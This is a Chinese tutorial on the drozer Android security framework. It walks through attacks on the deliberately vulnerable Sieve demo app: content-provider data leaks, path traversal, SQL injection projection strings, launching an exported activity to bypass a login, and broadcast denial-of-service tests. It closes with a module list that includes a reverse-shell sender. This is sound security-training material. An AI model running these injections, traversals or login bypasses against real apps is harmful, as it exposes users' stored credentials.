drozer安全评估框架基础使用技法

----20220331整理

1 测试前准备

1.1 安卓系统

准备环境:安卓模拟器6.5.0.1版-夜神模拟器

1.2 adb(Android Debug Bridge)工具

  adb(Android Debug Bridge),android sdk中的一个工具,分为客户端(电脑)和服务端(android手机或者模拟器),可以用来直接操作管理android模拟器或者真实的android设备。

测试环境adb的路径:D:\Program Files\Nox 版本1.0.36

1.3 Drozer

Drozer是一款针对Android的安全测试框架,分为安装在PC端的控制台、安装在终端上的代理APP两部分。可以利用APP的IPC通信,动态的发现被测试APP的安全风险。(本文是基于win10系统下安装的,下载地址:https://labs.f-secure.com/tools/drozer/)当前最新版本2.4.4

注:安装drozer时必须选择python2.7路径,譬如:C:\Python27
建议将drozer所在目录加入环境变量,默认路径为:C:\Python27\Scripts

由于我这边入坑找不到安装路径,于是安装的是2.3.4版本百度云下载链接:http://pan.baidu.com/s/1gfI0hLT 密码:c78h
安装drozer:

安装使用过程中可能出现的问题
在全部安装完毕之后,执行命令:drozer console connect 可能会提示如下错误信息

需要检查如下项目

1、JDK是否安装
2、环境变量是否正确配置(命令行下执行:java、javac、java -version 命令是否返回正常数据)
如果以上项目均正常的话可做如下修复:
建立名为 .drozer_config的文件,文件中添加如下内容:

 [executables]
java=D:\JAVA\jdk1.8.0_131\bin\java.exe
javac=D:\JAVA\jdk1.8.0_131\bin\javac.exe

即java和javac的路径,保存后存放到C:\Users\XXX\ 目录下,其中XXX为当前用户名目录下,之后重新连接成功
最终drozer安装成功界面如下:

1.4 靶机APP

Sieve.app (本文所采用测试app为drozer官方示例,下载地:https://labs.f-secure.com/tools/drozer/)

2 安装环境

2.1模拟器安装

1)PC安装android模拟器夜神,运行

2.2 Adb常见命令

adb常用命令(参考链接:https://blog.csdn.net/qq_39969226/article/details/87897863)
电脑连接的设备:

.\nox_adb.exe devices
输入nox_adb.exe connect 127.0.0.1:62001即可以连接到adb
或者是 adb connect 127.0.0.1:52001
adb connect 127.0.0.1:62001

2.3 模拟器安装APP并设置

1)安装测试APP到模拟器,可以直接拖进模拟器,如果是手机安装APP,使用adb操作,如下命令操作:
adb install <app 包>
2)配置刚装的sieve.apk程序,双击后,此处自行设置16位的密码与4位的Pin码,并添加一个密码条目,然后添加了一个名为tsilabnb的密码条目。

3)将drozer agent端装入模拟器。下载链接https://labs.f-secure.com/tools/drozer/

命令:
adb install <drozer-agent的路径>
4)开启手机端drozer,并打开drozer agent

4)由于drozer默认端口为31415,利用adb进行端口转发,建立监听通道。
命令:

adb forward tcp:31415 tcp:31415

执行命令后,出现31415的数字,或是没有任何信息输出,即成功。

6)开启drozer
命令:

.\drozer.bat console connect

如图,出现终端标识符号dz>,成功连接。至此,我们前期准备已经完成,可以愉快的进行一些基本ST测试了。

3 开始测试

3.1 content provider 组件泄露

  在app中,content provider主要用于对外共享数据,若存在漏洞,任何人都可以通过接口访问设备中任意内部/外部存储的数据,所有content provider组件都会在应用程序AndroidManifest.xml文件中注册,我们可以用apktool反编译,并查询。

<providerAndroid:name=”.FileBackupProvider” android:exported=”true” android:multiprocess=”true” android:authorities=”com.mwr.example.sieve.FileBackupProvider”/>
可以看到,有一个参数android:exported=”true”,即表示可能存在content provider组件泄露漏洞。
1)先找出我们装的sieve演示app的具体包名,用-f参数进行精准过滤
命令:

run app.package.list -f sieve

如图,包名为com.mwr.example.sieve
2)使用drozer的app.provider.finduri模块,从sieve程序中找出所有可以访问的url
命令:

run app.provider.finduri com.mwr.example.sieve

3)使用app.provider.query模块,查询感觉敏感信息的url
命令:

run app.provider.query <url> --vertical

依次获取各个URI的数据:

run app.provider.query content://com.mwr.example.sieve.DBContentProvider/Keys/ --vertical
run app.provider.query content://com.mwr.example.sieve.DBContentProvider/Passwords --vertical
run app.provider.query content://com.mwr.example.sieve.DBContentProvider/Passwords/ --vertical

如图,发现信息泄露,泄露服务、用户名和密码(加密),查询到数据说明存在漏洞。

3.2 遍历漏洞

1)使用scanner.provider.traversal模块,检索app的url可能存在遍历漏洞路径。

命令:

run scanner.provider.traversal -a com.mwr.example.sieve

2)从输出里发现漏洞路径,此时用app.provider.read 模块访问系统信息,此处以安卓cpu相关信息的路径/proc/cpuinfo为例
命令:

run app.provider.read <url>../../../../proc/cpuinfo

如下输入:run app.provider.read

content://com.mwr.example.sieve.FileBackupProvider/../../../../proc/cpuinfo

如图,利用遍历漏洞输出系统cpu相关信息

3.3 sql注入

1)使用scanner.provider.injection 模块检测app是否有注入漏洞
1)进行注入点扫描,查找存在注入的点:
命令:

run scanner.provider.injection -a com.mwr.example.sieve

在这里插入图片描述

如上图,显示存在sql注入。
2)运行命令,显示表数据

run app.provider.query content://com.mwr.example.sieve.DBContentProvider/Passwords --projection "*"

2)使用app.provider.query查询
命令:

run app.provider.query <url> --selection

列出所有表:

run app.provider.query content://com.mwr.example.sieve.DBContentProvider/Passwords/ --projection "* FROM SQLITE_MASTER WHERE type='table';--"

获取某个表(如Key)中的数据:

run app.provider.query content://com.mwr.example.sieve.DBContentProvider/Passwords/ --projection "* FROM Key;--"

3)尝试插入新数据,使用app.provider.insert模块
由上一步数据库表得知有5个字段,_id,service,username,passwd,email, 根据不同字段数据类型,使用命令如下:

run app.provider.insert <url> --integer _id 3 --string service “moonfoxnb” --string username “moonfox” --string password 12345678 --string email “moonfox@topsec.com”

可见,添加成功。

3.4 Activity

应用程序中,一个Activity通常就是一个单独的屏幕,它上面可以显示一些控件也可以监听并处理用户的事件做出响应。暴露的activity意味着可以被导出。
1)获取activity信息

run app.activity.info -a com.mwr.example.sieve

通过 app.activity.info 我们可以知道哪些activity是可以导出的。可以理解为,这些activity可以单独启动,而不需要依赖其余的逻辑。
如果登录之后的activity可以导出,那就可以直接启动对应的activity来绕过用户名密码的校验。
2)启动activity

run app.activity.start --component com.mwr.example.sieve com.mwr.example.sieve.PWList

命令执行之后,可以看到手机/模拟器终端上打开了Apk内部的管理密码界面,绕过了密码验证。

3.5 Broadcast receiver

应用可以使用它对外部事件进行过滤只对感兴趣的外部事件(如当电话呼入时,或者数据网络可用时)进行接收并做出响应。广播接收器没有用户界面。然而,它们可以启动一个activity或serice 来响应它们收到的信息,或者用NotificationManager 来通知用户。通知可以用很多种方式来吸引用户的注意力──闪动背灯、震动、播放声音等。一般来说是在状态栏上放一个持久的图标,用户可以打开它并获取消息。

利用intent对组件的触发一般有两类漏洞,一类是拒绝服务(broadcast),一类的权限提升(service)。拒绝服务危害性比较低,更多的只是影响应用服务质量;而权限提升将使得没有该权限的应用可以通过intent触发拥有该权限的应用,从而帮助其完成越权行为。
1)获取broadcast信息
run app.broadcast.info -a com.mwr.example.sieve

在确定攻击面时,查询broadcast没有export,所以没有匹配到。
以另外app进行示例:

run app.broadcast.info -a io.dcloud.H51EAB6B9 -i

2)尝试拒绝服务攻击检测
尝试拒绝服务攻击检测,向广播组件发送不完整 intent (空 action 或空 extras)
1)、空action

run app.broadcast.send --component io.dcloud.H51EAB6B9 io.dcloud.common.adapter.io.DownloadReceiver
run app.broadcast.send --component io.dcloud.H51EAB6B9 com.igexin.sdk.PushReceiver
run app.broadcast.send --component io.dcloud.H51EAB6B9 io.dcloud.feature.apsGt.GTNotificationReceiver

2)、空extras

run app.broadcast.send --action dcloud.push.broswer
run app.broadcast.send --action android.intent.action.PACKAGE_ADDED
run app.broadcast.send --action android.intent.action.DOWNLOAD_COMPLETE
run app.broadcast.send --action android.intent.action.BOOT_COMPLETED
run app.broadcast.send --action android.net.conn.CONNECTIVITY_CHANGE
run app.broadcast.send --action android.intent.action.USER_PRESENT
run app.broadcast.send --action com.igexin.sdk.action.refreshls
run app.broadcast.send --action android.intent.action.MEDIA_MOUNTED
run app.broadcast.send --action android.intent.action.ACTION_POWER_CONNECTED
run app.broadcast.send --action android.intent.action.ACTION_POWER_DISCONNECTED
run app.broadcast.send --action android.intent.action.BOOT_COMPLETED
run app.broadcast.send --action io.dcloud.H51EAB6B9.__CREATE_NOTIFICATION
run app.broadcast.send --action io.dcloud.H51EAB6B9.__REMOVE_NOTIFICATION
run app.broadcast.send --action io.dcloud.H51EAB6B9.__CLEAR_NOTIFICATION
run app.broadcast.send --action io.dcloud.H51EAB6B9.__CLILK_NOTIFICATION

Permission Denial:权限拒绝,发现存在拒绝服务问题。

4 Service

service是一个没有用户界面的程序,可以用来开发后台服务或者监控类的程序和执行比较耗时的后台任务。例如,当音乐播放器退出用户界面之后,还需要继续播放,通常会使用Context.startService()来启动一个后台服务,来保持音乐的持续播放。
尝试权限提升:
权限提升其实和拒绝服务很类似,只不过目的变成构造更为完整、更能满足程序逻辑的intent。由于activity一般多于用户交互有关,所以基于intent的权限提升更多针对broadcast receiver和service。
与drozer相关的权限提升工具,可以参考IntentFuzzer。

附录:

模块名 用途

app.activity.forintent   通过intent查找它的activity
app.activity.info   获取activities信息
app.activity.start  开启Activity
app.broadcast.info  获取broadcastreceivers信息
app.broadcast.send  发送广播
app.broadcast.sniff 嗅探广播中intent的数据
app.package.attacksurface   确定安装包的可攻击面
app.package.backup  列出可备份的包
app.package.debuggable  列出可debug的包
app.package.info    获取已安装包的信息
app.package.launchintent    获取程序启动的activity信息
app.package.list    手机已安装的程序包
app.package.manifest    获取程序manifest文件信息
app.package.native  列出Nativelibraries信息
app.package.shareduid   查找拥有共同uid的包和他们所有的权限
app.provider.columns    展示contentproviderURI的各列
app.provider.delete 删除contentproviderURI的内容
app.provider.download   使用openInputStream读取指定uri的内容,并下载在电脑中
app.provider.finduri    查找安装包中引用的URI
app.provider.info   获取contentproviders信息
app.provider.insert 插入数据到contentprovider
app.provider.query  查询contentprovider内容
app.provider.read   使用openInputStream读取指定uri的内容
app.provider.update 更新contentprovider的内容
app.service.info    获取services的信息
app.service.send    使用Message攻击暴露的service,其service实现了handleMessage
app.service.start   开启服务
app.service.stop    停止服务
auxiliary.webcontentresolver    开启web服务来获取contentproviders
exploit.jdwp.check  针对@jdwp-control漏洞
exploit.pilfer.general.apnprovider  获取APN信息
exploit.pilfer.general.settingsprovider 查看系统设置
information.datetime    查看设备时间
information.deviceinfo  获取设备详细信息
information.permissions 列出所有手机应用使用过的权限信息
scanner.activity.browsable  获取可以从浏览器查看的activity
scanner.misc.native 列出包含native的包
scanner.misc.readablefiles  查找可被其应用读取的文件
scanner.misc.secretcodes    查找手机暗码
scanner.misc.sflagbinaries  列出指定目录中suid/sgid的二进制文件 (default is /system)
scanner.misc.writablefiles  查找能被其他应用写数据权限的文件
scanner.provider.finduris   查找contentprovidersURI链接
scanner.provider.injection  查找contentprovidersSQL注入
scanner.provider.sqltables  通过SQL注入查找表名
scanner.provider.traversal  查找目录遍历漏洞
shell.exec  执行单条shell命令
shell.send  发送ASHshell到远程监听器
shell.start 进入shell模式
tools.file.download 下载手机上的文件
tools.file.md5sum   获取文件的md5
tools.file.size 获取文件大小
tools.file.upload   从PC上传文件到设备
tools.setup.busybox 安装Busybox
tools.setup.minimalsu   安装minimal-su

参考链接

adb链接夜神模拟器以及常用的adb命令整理:https://blog.csdn.net/qq_38925100/article/details/89816502
替换adb.exe操作:https: //jingyan.baidu.com/article/cb5d6105a3365f005c2fe0f7.html
abd命令:https://javajgs.com/archives/19295
安装教程:https://www.cnblogs.com/lsdb/p/9441813.html
Android测试:https://www.cnblogs.com/JDragons/tag/Android/

drozer安全评估框架基础使用技法相关推荐

  1. Spring3.2.0-mybatis3.2.0 基于全注解搭建的后台框架-基础版

    2019独角兽企业重金招聘Python工程师标准>>> 摘要: Spring3.2.0-mybatis3.2.0 基于全注解搭建的后台框架-基础版 没有什么不可能  之前一直用的是自 ...

  2. python学习框架图-Python学习---Python的框架基础学习

    框架基础 框架实质: 所有的Web应用,本质上其实就是一个socket服务端,用户的浏览器其实就是一个socket客户端 B/S结构的响应: import socket def handle_requ ...

  3. 《Android的设计与实现:卷I》——第2章 框架基础JNI

    第2章 框架基础JNI JNI(Java Native Interface,Java本地接口)是Java平台上定义的一套标准的本地编程接口.JNI允许Java代码与本地代码互操作,即Java代码可以调 ...

  4. python前端学习-------Flask框架基础(建议收藏)

    Flask框架基础 下载并安装Flask框架 Flask基础 第一个Flask应用 开启调试模式 路由 变量规则 构造URL HTTP方法 模板 语法格式 模板变量 控制结构 条件控制语句 `if` ...

  5. data spring 指定时区_Spring 框架基础(05):Mvc架构模式,执行流程详解

    本文源码:GitHub || GitEE 一.SpringMvc框架简介 1.Mvc设计理念 MVC是一种软件设计典范,用一种业务逻辑.数据.界面显示分离的方法组织代码,将业务逻辑聚集到一个组件里面, ...

  6. php 框架获取服务器,Thinkphp 框架基础之源码获取、环境要求与目录结构分析

    本文实例讲述了Thinkphp 框架基础之源码获取.环境要求与目录结构.分享给大家供大家参考,具体如下: 获取ThinkPHP 获取ThinkPHP的方式很多,官方网站(http://thinkphp ...

  7. 一.Spring框架基础

    JAVAEE框架之Spring 一.Spring框架基础 Spring:春天:轻量级的企业级开发框架,核心是IOC(控制反转)和AOP(面向切面编程). 官网:spring.io Spring–> ...

  8. java ibatis 获取执行的sql_小程序官宣+JAVA 三大框架基础面试题

    每天给你诚意满满的干货 虽然每天都会写代码,但编程语言里有太多知识点,许多知识长时间不用就会忘记,在我们要去参加面试或是其它一些场景下,需要做些题来查缺补漏.我在搜索过程中发现没有太好的刷题小程序,所 ...

  9. (转)Hibernate框架基础——一对多关联关系映射

    http://blog.csdn.net/yerenyuan_pku/article/details/52746413 上一篇文章Hibernate框架基础--映射集合属性详细讲解的是值类型的集合(即 ...

  10. 19 - Dva框架基础

    文章目录 基本概述 Dva特征 项目文件结构说明 dva概念关系图 dva开发设计要求 主程序与容器组件路由挂接 容器组件与功能组件分离 功能组件与Model分离 Model与基础操作分离 脚手架安装 ...

最新文章

  1. 智能车竞赛技术报告 | 智能视觉组 - 大连海事大学 - 菜鸡啄米
  2. myeclipse如何修改tomcat的timeout
  3. 手把手教你搭建一个基于Java的分布式爬虫系统
  4. Intent七在属性之一:ComponentName
  5. centos下的mysql安装
  6. C++11强类型枚举——枚举类
  7. 手机图片怎么压缩,简单的压缩方法
  8. win10远程计算机证书错误,win10系统下遇到Wi-Fi证书错误问题的几种解决方法
  9. C#WebApi下载文件
  10. cartographer 老版本 UKF
  11. 服务器迁移实践,物理服务器迁移到阿里云服务器
  12. 英飞凌TC387在EB环境下的MCAL工程建立
  13. 5.Java SE 多线程
  14. 安徽科技学院 信网学院网络文化节 刁广
  15. 请原谅,我还来不及长大
  16. 解决:interface conversion: interface {} is float64, not int
  17. oracle+union+连接,Oracle中union/union all/Intersect/Minus用法
  18. 高清摄像头MIPI CSI2接口浅解【转】
  19. 一步一步教你开发《松鼠推箱子》手机游戏
  20. SecureCRT使用命名管道访问VMware的虚拟机

热门文章

  1. 中国移动推自有品牌终端利大于弊
  2. vivado2018.3代码编辑界面个性化定制方案
  3. cmd命令查询电脑序列号_如何在Windows10中查找计算机序列号/主板型号
  4. linux h5cc 编译,雷霆传奇H5源码编译+Linux+Release+Docker_2021/02/04
  5. 软件测试基础知识思维导图,测试基础思维导图.pdf
  6. 【iOS逆向与安全程序员简历如何写?】四点忌讳以及过个要点:强调效果胜过强调水平、保持一致性和向上的趋势、在简历中要用好主题词。通常不超过两页(A4纸正反两面)为佳。
  7. IE插件在注册表中的相关位置
  8. DIV 内容上下居中
  9. 智能手机串号IMEI码丢失(无效IMEI)解决恢复办法
  10. 记Dorado7学习(5)